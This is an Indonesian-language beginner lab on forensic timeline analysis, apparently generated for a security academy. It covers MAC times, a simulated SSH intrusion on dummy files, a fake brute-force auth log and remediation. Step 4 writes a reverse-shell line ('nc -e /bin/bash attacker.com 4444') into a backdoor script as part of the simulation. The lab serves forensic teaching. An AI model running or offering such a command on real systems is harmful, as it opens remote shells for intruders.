Lab 2: Timeline Analysis - Merekonstruksi Kronologi Serangan
Target Skill: Mahasiswa mampu membaca timeline file system dan log untuk merekonstruksi urutan kejadian
Tools:stat,find,grep,date,lnav
Durasi: 30 menit
Level: Beginner
Mengapa Timeline Analysis Penting?
Ketika terjadi insiden keamanan, pertanyaan pertama investigator adalah: "Kapan mulai? Apa yang terjadi pertama? Berapa lama?"
Timeline analysis menjawab semua itu dengan mengumpulkan:
- MAC times (Modified, Accessed, Changed) dari file system
- Timestamp log (auth.log, syslog, access.log)
- Korelasi antara keduanya
Ini adalah fondasi setiap investigasi forensik - tanpa timeline, kamu hanya punya potongan puzzle acak.
Learning Objectives
- Memahami MAC times (mtime, atime, ctime, crtime)
- Membaca dan menginterpretasi timeline dari file system
- Menganalisis log authentication untuk mendeteksi brute force
- Membuat timeline kronologis sederhana
️ Tools & Setup
# Semua tool sudah bawaan Linux, kecuali lnav
sudo apt install -y lnav
Langkah Praktikum
Step 1: Pahami MAC Times
Buat file percobaan dan amati timestamp-nya:
cd ~ && mkdir forensics-lab2 && cd forensics-lab2
# Buat file
echo "Isi file awal" > test.txt
# Lihat semua timestamp
stat test.txt
Output stat menunjukkan:
- Access (atime) - terakhir dibaca
- Modify (mtime) - terakhir diubah isinya
- Change (ctime) - terakhir metadata berubah (rename, permission)
- Birth (crtime) - saat file dibuat (tidak semua filesystem support)
Step 2: Simulasi Aktivitas
# 1. Buat file
echo "Config database" > db.conf
echo "Password = root123" > db.conf.bak
# Tunggu sebentar
sleep 2
# 2. Ubah file
echo "Password = admin456" >> db.conf
# 3. Akses file (baca)
cat db.conf > /dev/null
# 4. Ubah permission
chmod 600 db.conf
# 5. Rename
mv db.conf.bak db.conf.backup
# 6. Lihat semua timestamp sekarang
stat db.conf
stat db.conf.backup
echo "---"
echo "Perhatikan: mtime berubah saat diedit, ctime berubah saat chmod/rename"
Step 3: Simulasi Serangan Sederhana
Buat skenario: seorang attacker login via SSH dan mencuri data:
# Buat direktori yang mensimulasi server
mkdir -p server-data/rahasia
echo "Data Karyawan: gaji, alamat, no HP" > server-data/rahasia/data-karyawan.csv
echo "DB_PASSWORD=SuperSecret2024" > server-data/.env
echo "customer:creditcard:4111222233334444" > server-data/rahasia/customer.txt
# Rekam timestamp sebelum "serangan"
TIMESTAMP_SEBELUM=$(date +%s)
echo "Waktu sebelum serangan: $(date -d @$TIMESTAMP_SEBELUM)"
Step 4: Simulasi Akses Mencurigakan
# --- Ini simulasi "aksi attacker" ---
# Attacker baca file
cat server-data/.env
cat server-data/rahasia/data-karyawan.csv
# Attacker copy data
cp server-data/rahasia/customer.txt server-data/customer-stolen.txt
# Attacker buat backdoor
echo "nc -e /bin/bash attacker.com 4444" > server-data/backdoor.sh
chmod +x server-data/backdoor.sh
# Attacker hapus jejak
rm server-data/.env
echo "--- Simulasi serangan selesai ---"
Step 5: Investigasi Timeline
Sekarang kita jadi investigator. Cari tahu apa yang terjadi:
# 1. Cari file yang baru dimodifikasi (5 menit terakhir)
find server-data/ -mmin -5 -ls
# 2. Lihat detail file mencurigakan
stat server-data/customer-stolen.txt
stat server-data/backdoor.sh
# 3. Cari file yang permission-nya mencurigakan (executable)
find server-data/ -perm -111 -ls
# 4. Cari file yang dihapus tapi masih terbuka (carving)
# (Di dunia nyata, cari di slack space)
echo "File .env sudah dihapus - siapa yang terakhir akses?"
Step 6: Analisis Log Auth
Simulasi log brute force SSH:
# Buat log auth palsu untuk latihan
cat > auth-dummy.log << 'LOG'
Jun 10 08:15:01 server sshd[1234]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:05 server sshd[1235]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:09 server sshd[1236]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:13 server sshd[1237]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:17 server sshd[1238]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:21 server sshd[1239]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:25 server sshd[1240]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:29 server sshd[1241]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:33 server sshd[1242]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:37 server sshd[1243]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:41 server sshd[1244]: Accepted password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:16:02 server sshd[1245]: Received disconnect from 192.168.1.100
LOG
# Analisis dengan grep
echo "=== Brute Force Attempts ==="
grep "Failed password" auth-dummy.log | wc -l
echo "percobaan gagal sebelum berhasil login"
echo ""
echo "=== Timeline Login ==="
grep -E "(Failed|Accepted) password" auth-dummy.log
echo ""
echo "=== IP Address penyerang ==="
grep -oP 'from \K[0-9.]+' auth-dummy.log | sort -u
Step 7: Timeline Visual dengan lnav
# Buka log dengan lnav (interaktif - tekan q untuk keluar)
# Atau cukup analisis dengan command line:
echo "=== Timeline Kronologis ==="
grep -E "(Failed|Accepted)" auth-dummy.log | awk '{
split($0,a," ");
waktu=a[1] " " a[2] " " a[3];
print waktu " | " $0
}'
️ Analisis & Pertanyaan
1. MAC Times - Kunci Forensik
| Timestamp | Berubah Saat | Forensik Value |
|---|---|---|
| mtime | Isi file berubah | ✅ Bukti modifikasi |
| atime | File dibaca | ✅ Bukti akses |
| ctime | Metadata (rename, chmod) | ✅ Bukti perubahan atribut |
| crtime | File dibuat | ✅ Kapan pertama muncul |
2. Deteksi Anomali dari Timeline
Dari simulasi di atas, temuan mencurigakan:
backdoor.sh- file script tiba-tiba ada (mtime dekat waktu serangan)customer-stolen.txt- file rahasia dicopy ke folder lain.env- hilang (dihapus untuk menutup jejak)- Permission
backdoor.sh- +x (executable)
3. Correlation Attack
Dari log auth:
- 10 failed attempts dalam 26 detik (interval ~3 detik)
- Dari IP yang sama (192.168.1.100)
- Berhasil login pada attempt ke-11
- Kesimpulan: Serangan brute force berhasil
Laporan Temuan
Finding 1: Brute Force SSH Berhasil
| Parameter | Value |
|---|---|
| IP Attacker | 192.168.1.100 |
| Target User | root |
| Total Attempt | 10 failed, 1 success |
| Waktu Mulai | 08:15:01 |
| Waktu Berhasil | 08:15:41 |
| Durasi | 40 detik |
Dampak: Attacker mendapatkan akses shell ke server
Finding 2: Data Exfiltration via Timeline
| File | Waktu | Aktivitas |
|---|---|---|
.env |
Sebelum 08:15 | Ada (dihapus saat serangan) |
customer-stolen.txt |
+08:16 | File baru (copy ilegal) |
backdoor.sh |
+08:16 | File baru (backdoor planted) |
Dampak: Data customer (kartu kredit) bocor + backdoor terinstall
Korelasi OWASP / CWE / CAPEC
| Kerangka | ID | Deskripsi |
|---|---|---|
| CWE | CWE-778 | Insufficient Logging |
| CWE | CWE-223 | Omission of Security-relevant Information |
| CWE | CWE-200 | Exposure of Sensitive Information |
| CAPEC | CAPEC-112 | Brute Force |
| CAPEC | CAPEC-545 | File System Timeline Analysis |
️ Remediasi
| Masalah | Solusi | Implementasi |
|---|---|---|
| Brute force | Rate limiting + fail2ban | apt install fail2ban |
| Log tidak cukup | Auditd + centralized logging | apt install auditd |
| Root login SSH | Nonaktifkan | PermitRootLogin no di sshd_config |
| File sensitif | Encryption at rest | gpg / openssl enc |
| Backup log | Log rotation + remote syslog | rsyslog ke server terpisah |
# Pasang fail2ban (minimal)
sudo apt install -y fail2ban
sudo systemctl enable fail2ban --now
Kesimpulan & Refleksi
Apa yang dipelajari:
- MAC times menyimpan cerita lengkap tentang interaksi file
- Timeline dari file system + log bisa merekonstruksi serangan
- Log authentication adalah sumber bukti paling penting
- Attacker biasanya meninggalkan jejak meskipun sudah hapus file
Refleksi untuk mahasiswa:
"Di dunia forensik, waktu adalah segalanya. Satu timestamp bisa membuktikan innocence atau guilt. Sebagai administrator, pastikan NTP sync aktif dan log retention cukup - karena bukti tidak akan menunggu."
Referensi
🔬 Lab 2 Selesai! Lanjut ke Lab 3: Memory Forensics
Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy